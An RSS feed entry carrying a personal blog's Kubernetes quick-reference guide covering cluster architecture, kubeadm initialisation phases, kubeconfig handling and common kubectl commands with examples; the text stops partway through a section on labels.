<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on BLZR</title><link>https://blzr.sbs/posts/</link><description>Recent content in Posts on BLZR</description><generator>Hugo -- gohugo.io</generator><language>en</language><copyright>This work is licensed under Attribution-NonCommercial-ShareAlike 4.0 International [CC BY-NC-SA 4.0]</copyright><lastBuildDate>Mon, 20 Jan 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://blzr.sbs/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Kubernetes Quick Guide</title><link>https://blzr.sbs/posts/kubernetes-quick-guide/</link><pubDate>Mon, 20 Jan 2025 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/kubernetes-quick-guide/</guid><description>Quick guide to Kubernetes, coz I often refer to it</description><content type="html"><![CDATA[<h2 id="kubernetes-architecture">Kubernetes Architecture</h2>
<ol>
<li>Master
<ul>
<li><code>Api Server</code>: Gateway to the cluster. Also acts as a gatekeeper for authentication (to make sure that only authorized requests get through the cluster)</li>
<li><code>Cloud Controller Manager</code>: Connects on-premise cluster to cloud</li>
<li><code>Controller Manager</code>: detects cluster state changes &amp; recovers cluster state ASAP.</li>
<li><code>Scheduler</code>: Selects appropriate node to create the pod. Note here that Scheduler just decides on which node to schedule. It is <strong>kubelet</strong> that starts the pod.</li>
<li><code>ETCD</code>: Cluster Database (the cluster state that Controller manager checks &amp; resources that Scheduler decides based on them are all stored in etcd)</li>
</ul>
</li>
<li>Worker
<ul>
<li><code>kubelet</code>: used to deploy and start an object (like pod) on local nodes.</li>
<li><code>kube-proxy</code>: forwards requests from services to pods.
<strong>request</strong> → <strong>service</strong> → <strong>kube-proxy</strong> → <strong>pod</strong></li>
</ul>
</li>
</ol>
<h3 id="terminology">Terminology</h3>
<ul>
<li><strong>Node</strong> : Hosts that run Kubernetes applications</li>
<li><strong>Containers</strong> : Units of packaging</li>
<li><strong>Pods</strong> : Containers are not managed individually; instead, they are part of a larger object called a Pod. A Pod consists of one or more containers which share an IP address, access to storage and namespace.</li>
<li><strong>Namespace</strong> : Kubernetes uses namespaces to keep objects distinct from each other, for resource control and multitenant considerations.</li>
<li><strong>Service</strong> : Collection of pods exposed as an endpoint</li>
<li><strong>Deployment</strong> : a deployment file can define the number of copies (or replicas, as they’re known in Kubernetes) of a given pod. Or a deployment can upgrade an existing pod to a new application version by updating the base container image.</li>
<li><strong>CRI</strong> (Container Runtime Interface): CRI is an interface that k8s uses to talk to different container runtimes (docker, containerd, cri-o, &hellip;). CRI is a set of tools that define what container runtime must implement &amp; how it should be implemented to be pluggable to kubernetes as a container runtime.</li>
</ul>
<pre tabindex="0"><code>Kubelet --&gt; CRI --&gt; Container Runtime
</code></pre><p>Docker did not implement CRI rules. K8s added dockershim layer to support docker:</p>
<pre tabindex="0"><code>kubelet --&gt; CRI --&gt; dockershim --&gt; Docker
</code></pre><h2 id="kubernetes-installation">kubernetes Installation</h2>
<ul>
<li>To install on both master &amp; worker:
<ol>
<li>Container runtime</li>
<li>Kubelet</li>
<li>Kube-proxy</li>
</ol>
</li>
<li>To install on master:
<ul>
<li>api-server</li>
<li>scheduler</li>
<li>controller-manager</li>
<li>etcd
(all master components are deployed as <strong>static</strong> pods)</li>
</ul>
</li>
<li>Certificates: we should generate a self-signed CA certificate for the whole cluster &amp; sign all other component certificates with it.</li>
</ul>
<p><em>Regular pod scheduling</em> : <strong>API Server</strong> gets request → <strong>scheduler</strong> selects node → <strong>kubelet</strong> schedules pods
<em>Static Pod Scheduling</em>: <strong>kubelet</strong> directly schedules static pods (by watching a specific loc: “/etc/kubernetes/manifest”)

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note 1</b>
        </div>
        <div class="admonition-content">kubelet (not controller manager) watches static pods &amp; restarts if it fails</div>
    </aside>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note 2</b>
        </div>
        <div class="admonition-content">you can easily identify static pods by their names (names are suffixed with the node hostname)</div>
    </aside>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note 1</b>
        </div>
        <div class="admonition-content">Static pods are usually used for bootstrapping kubernetes itself. For example, kubeadm uses static pods to bring up control-plane components like api-server, controller-manager as static pods.</div>
    </aside></p>
<h3 id="kubeadm">Kubeadm</h3>
<p>(kubeadm is a command-line tool used for bootstrapping a best practice k8s cluster)
For this purpose, we need to
1. install kubeadm on each node first,
2. then run <code>$kubeadm init command</code> (<em>only once</em> on one of the master nodes)

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">kubeadm does not install kubelet and kubectl for you.</div>
    </aside></p>
<p><strong>Kubeadm init phases:</strong></p>
<ol>
<li>
<p><strong>Preflight</strong> :</p>
<ul>
<li>checks to validate the system state before making changes.</li>
<li>Also pulling images for setting up k8s cluster</li>
</ul>
</li>
<li>
<p><strong>Certs</strong> :</p>
<ul>
<li>Create <code>/etc/kubernetes/pki</code> directory.</li>
<li>generates a self-signed CA to setup identities for each component in the cluster.
<ul>
<li>apiserver.crt: used for others to connect and authenticate to apiserver.</li>
<li>ca.crt: self-signed CA of kubernetes. (signs other certificates)</li>
<li>/etc/kubernetes/pki/etcd: contains etcd certificates.

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Like Apiserver, etcd has its own CA.</div>
    </aside></li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>Kubeconfig</strong> :</p>
<ul>
<li>Creates <code>/etc/kubernetes</code> dir (dir for config files).</li>
<li>for every client that needs to talk to apiserver, kubeconfig file will be generated (just like admin user). Creates admin.conf (kubeconfig file for admin user), kubelet.conf, controller-manager.conf, scheduler.conf in /etc/kubernetes dir.</li>
</ul>
</li>
<li>
<p><strong>Kubelet-start</strong> :</p>
<ul>
<li>Creates <code>/var/lib/kubelet/config.yaml</code> folder</li>
<li>Writes kubelet settings (to above folder) and (re)start kubelet.</li>
</ul>
</li>
<li>
<p><strong>Control-plane</strong> :</p>
<ul>
<li>Creates manifest folder /etc/kubernetes/manifest for static pods.</li>
<li>Creates static pod manifests. These pods will be scheduled by kubelet and will use kubeconfig files with certificates to talk to each other or apiserver.</li>
</ul>
</li>
<li>
<p><strong>Add-ons</strong> :</p>
<ul>
<li>Installs DNS Server (CoreDNS)</li>
<li>Installs kube-proxy via apiserver</li>
</ul>
</li>
</ol>
<h2 id="access-cluster-after-configuration">Access cluster after Configuration</h2>
<p>Access k8s cluster == access api-server (api-server is the entry point to the cluster)</p>
<p>To connect to the cluster, we need:</p>
<ol>
<li>Install kubectl: command line to connect to the cluster 2. Kubeconfig file: to Authenticate with cluster</li>
</ol>
<p>The kubeconfig file contains:</p>
<ol>
<li>Api server Address</li>
<li>Admin&rsquo;s certificates &amp; private key (users.user.client-certificate-data , users.user.client-key-data)</li>
</ol>
<p>kubectl precedence of kubeconfig file:</p>
<ol>
<li>File passed with &ndash;kubeconfig flag ($kubectl get nodes &ndash;kubeconfig /etc/kubernetes/admin.conf)</li>
<li>KUBECONFIG environment variable ($export KUBECONFIG=/etc/kubernetes/admin.conf)</li>
<li>File located in “$HOME/.kube/config” folder (default location where kubectl looks for)</li>
</ol>
<h3 id="create-a-yaml-file-">Create a Yaml file :</h3>
<p>Note that this file consist of 4 basic instruction:</p>
<ol>
<li><code>apiVersion: v1</code> # This should be find from the output of below command</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl api-versions | grep -E <span style="color:#e6db74">&#34;^apps/&#34;</span>
</span></span></code></pre></div><ol start="2">
<li>
<p><code>kind: Pod</code> # <strong>kind</strong> of object we are creating.</p>
</li>
<li>
<p><code>metadata:</code> # <strong>data about data</strong> (the name of object, namespace and label of object are defined in this part)</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">name</span>: <span style="color:#ae81ff">firstpod</span>
</span></span></code></pre></div><ol start="4">
<li><code>spec:</code> #The data that is for <strong>create</strong> of object(deployment, service,&hellip;).</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">stan</span>
</span></span></code></pre></div><p><strong>Pod yaml file:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">firstpod </span> <span style="color:#75715e">#name of pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx </span> <span style="color:#75715e">#base image of container</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">stan   </span> <span style="color:#75715e">#container name</span>
</span></span></code></pre></div>
    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle">
      <circle cx="12" cy="12" r="10"></circle>
      <line x1="12" y1="8" x2="12" y2="12"></line>
      <line x1="12" y1="16" x2="12.01" y2="16"></line>
   </svg></div><b>When does the cluster certificates expire &amp; how to renew it?</b>
        </div>
        <div class="admonition-content"><p>$ kubeadm certs &ndash;help</p>
<p>$ kubectl certs check-expiration</p>
<p>$ kubectl certs renew</p>
<p>Note: kubeadm renews certificates during cluster upgrades.</p>
</div>
    </aside>
<h2 id="kubectl-commands">Kubectl Commands</h2>
<ul>
<li>
<p>Debug commands:</p>
<ul>
<li>
<p>Kubectl get:</p>
<ul>
<li>$ <code>kubectl get object</code> E.g: kubectl get pod</li>
<li>$ <code>kubectl get pod podname -o yaml &gt; mypod.yaml</code> #create yaml file from existing pod</li>
<li>$ <code>kubectl get pod podname -o wide</code> #see detail of a pod</li>
<li>$ <code>kubectl get pod podname -w</code> #see online updates</li>
<li>$ <code>kubectl get pods --all-namespaces</code> #see all pods in all namespaces</li>
<li>$ <code>kubectl get -f pod.yaml -o json</code> #List a pod identified by type and name specified in &ldquo;pod.yaml&rdquo; in JSON output format</li>
</ul>
</li>
<li>
<p>Kubectl describe: Show <em>details</em> of a specific resource or group of resources. $ <code>kubectl describe object</code></p>
<p>E.g:</p>
<ul>
<li>Describe a node</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl describe nodes kubernetes-minion-emt8.c.myproject.internal
</span></span><span style="display:flex;"><span>$ kubectl describe pod &lt;podname&gt; 
</span></span></code></pre></div><ul>
<li>Describe a pod identified by type and name in &ldquo;pod.json&rdquo;</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl describe -f pod.json
</span></span></code></pre></div></li>
<li>
<p>Kubectl logs:</p>
<ul>
<li>Return snapshot logs from pod nginx with only one container</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl logs nginx
</span></span></code></pre></div><ul>
<li>Return snapshot of previous terminated ruby container logs from pod web- 1</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl logs -p -c ruby web- <span style="color:#ae81ff">1</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>
<p>kubectl version: print the client and server version information.</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl version
</span></span></code></pre></div><ul>
<li>kubectl api-versions: Print the supported API versions on the server, in the form of “group/version”.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl api-versions
</span></span></code></pre></div><ul>
<li>kubectl cluster-info: Display cluster info.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl cluster-info
</span></span></code></pre></div><ul>
<li>
<p>kubectl explain: Documentation of resources</p>
<p>E.g: Get the documentation of the resource and its fields</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl explain pods
</span></span></code></pre></div></li>
<li>
<p>kubectl cordon: This will mark the node as unschedulable and prevent <strong>new</strong> pods from arriving.</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl cordon worker
</span></span></code></pre></div><ul>
<li>kubectl uncordon:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl uncordon worker
</span></span></code></pre></div><ul>
<li>kubectl drain: This will mark the node as unschedulable and also evict <strong>existing</strong> pods on the node.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl drain worker
</span></span></code></pre></div><p>E.g:
- Set the node labelled with name= <strong>ek8s-node</strong> as unavailable and reschedule all the pods running on it:
<code>bash $ kubectl drain ek8s-node --delete-local-data -ignore-daemonsets --force </code>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">drain command, first cordons the node.</div>
    </aside></p>
<ul>
<li>kubectl run:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl run podname --image<span style="color:#f92672">=</span>image-name
</span></span></code></pre></div><ul>
<li>kubectl create (e.g. Deployment):
<ul>
<li>Imperative:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create deployment &lt;dpname&gt; --image<span style="color:#f92672">=</span>&lt;imagenme&gt;
</span></span></code></pre></div><ul>
<li>Declarative:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create -f file.yml <span style="color:#75715e">#there is a yaml file </span>
</span></span></code></pre></div>E.g: Create a pod based on the JSON passed into stdin.
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat pod.json | kubectl create -f
</span></span></code></pre></div></li>
<li>Debug deployment:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>    $ kubectl get deployment dp 
</span></span><span style="display:flex;"><span>    $ kubectl get deployment --all-namespaces  
</span></span><span style="display:flex;"><span>    $ kubectl describe deployment dp1
</span></span></code></pre></div><ul>
<li>kubectl Apply:</li>
</ul>
<p>
    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note 1</b>
        </div>
        <div class="admonition-content">to make changes on an object that is created before.</div>
    </aside>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note 2</b>
        </div>
        <div class="admonition-content">If an object is not created before, it also creates the object.</div>
    </aside>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note 3</b>
        </div>
        <div class="admonition-content">difference with kubectl create: only in declarative mode.</div>
    </aside>
E.g:
- Apply the configuration in pod.json to a pod.
<code>bash $ kubectl apply -f ./pod.json </code>
- Apply the JSON passed into stdin to a pod.
<code>bash $ cat pod.json | kubectl apply -f </code></p>
<ul>
<li>kubectl delete:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl delete pod &lt;podname&gt;
</span></span><span style="display:flex;"><span>$ kubectl delete -f &lt;yaml file&gt;
</span></span><span style="display:flex;"><span>$ kubectl delete pod &lt;podname&gt; --grace-period<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> <span style="color:#75715e">#force delete of a pod in kubectl&lt;=1.4</span>
</span></span><span style="display:flex;"><span>$ kubectl delete pod &lt;podname&gt; --grace-period<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> --force <span style="color:#75715e">#force delete of a pod in kubectl&gt;=1.5</span>
</span></span></code></pre></div><ul>
<li>kubectl exec: to execute a command inside a container.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl exec &lt;podname&gt; -c &lt;containername&gt; --&lt;command&gt;
</span></span></code></pre></div><p>E.g:
- $<code>kubectl exec mypod -c busybox --echo “Hello!”</code>
- $<code>kubectl exec web-server2 -c redis2 -it -- bash</code></p>
<ul>
<li>kubectl replace: Replace a resource by filename. The replace command behaves kind of like a manual version of the edit command.</li>
</ul>
<p>E.g:
- Replace a pod using the data in pod.json.
<code>bash $ kubectl replace -f ./pod.json </code>
- Force replace, delete and then re-create the resource
<code>bash $ kubectl replace --force -f ./pod.json </code></p>
<ul>
<li>kubectl edit: The edit command allows you to directly edit any API resource you can retrieve via the command line tools. It opens the yaml file of the running resource or object.</li>
</ul>
<p>E.g:
- Edit the deployment named my-deployment and changes replicas from 3 to 15:
<code>bash $ kubectl edit deployment my-deployment </code>
Now it opens the yaml file of this running deployment and you can change it live.</p>
<ul>
<li>
<p>kubectl attach: Attach to a running container
E.g:</p>
<ul>
<li>Get output from running pod 123456-7890, using the first container by default.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl attach 123456-7890
</span></span></code></pre></div><ul>
<li>Get output from ruby-container from pod 123456- 7890.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl attach 123456- <span style="color:#ae81ff">7890</span> - c ruby-container
</span></span></code></pre></div></li>
<li>
<p>kubectl expose: Take a replication controller, service or pod and expose it as a new Kubernetes Service</p>
</li>
</ul>
<p>E.g:
- Create a service for a pod valid-pod, which serves on port 444 with the name &ldquo;frontend&rdquo;
<code>bash $kubectl expose pod valid-pod --port=444 --name=frontend </code>
- Create a service based on nginx service already existing, exposing the container port 8443 as port 443 with the name &ldquo;nginx-https&rdquo;
<code>bash $kubectl expose service nginx --port=443 --target-port=8443 --name=nginx-https </code></p>
<ul>
<li>
<p>kubectl label: Update the labels on a resource E.g:</p>
<ul>
<li>Update pod &lsquo;foo&rsquo; with the label &lsquo;unhealthy&rsquo; and the value &rsquo;true&rsquo;.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl label pods foo unhealthy<span style="color:#f92672">=</span>true
</span></span></code></pre></div><ul>
<li>Update pod &lsquo;foo&rsquo; with the label &lsquo;status&rsquo; and the value &lsquo;unhealthy&rsquo;, overwriting any existing value.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl label --overwrite pods foo status<span style="color:#f92672">=</span>unhealthy
</span></span></code></pre></div><ul>
<li>Update all pods in the namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl label pods --all status<span style="color:#f92672">=</span>unhealthy
</span></span></code></pre></div><ul>
<li>Update pod &lsquo;foo&rsquo; by removing a label named &lsquo;bar&rsquo; if it exists. Does not require the &ndash;overwrite flag.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl label pods foo bar
</span></span></code></pre></div></li>
<li>
<p>kubectl scale: Set a new size for a Replication Controller, Job, or Deployment.</p>
<ul>
<li>Scale replication controller named &lsquo;foo&rsquo; to 3.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl scale --replicas<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> rc/foo
</span></span></code></pre></div><ul>
<li>Scale a resource identified by type and name specified in &ldquo;foo.yaml&rdquo; to 3.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl scale --replicas<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> -f foo.yaml
</span></span></code></pre></div><ul>
<li>If the deployment named mysql&rsquo;s current size is 2, scale mysql to 3.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl scale --current-replicas<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span> --replicas<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> deployment/mysql
</span></span></code></pre></div><ul>
<li>Scale multiple replication controllers.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl scale --replicas<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span> rc/foo rc/bar rc/baz
</span></span></code></pre></div><ul>
<li>Scale job named &lsquo;cron&rsquo; to 3.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl scale --replicas<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> job/cron
</span></span></code></pre></div></li>
</ul>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><p>We use option &ndash; <strong>dry-run=client</strong> to run an object without creating it! It can be combined with - <strong>o yaml</strong> to create a sample yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl run mybusybox --image<span style="color:#f92672">=</span>busybox --dry-run<span style="color:#f92672">=</span>client -o yaml &gt; mybusybox.yaml
</span></span></code></pre></div></div>
    </aside>
<h2 id="label">Label</h2>
<p>By default, creating a Deployment with “kubectl create” adds a label with the name of deployment.</p>
<ul>
<li>
<p>Set label: in YAML file:</p>
<ol>
<li>Imperative:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl label pod &lt;podName&gt; image<span style="color:#f92672">=</span>nginx <span style="color:#75715e"># label is image=nginx</span>
</span></span></code></pre></div><ol start="2">
<li>Declarative:</li>
</ol>
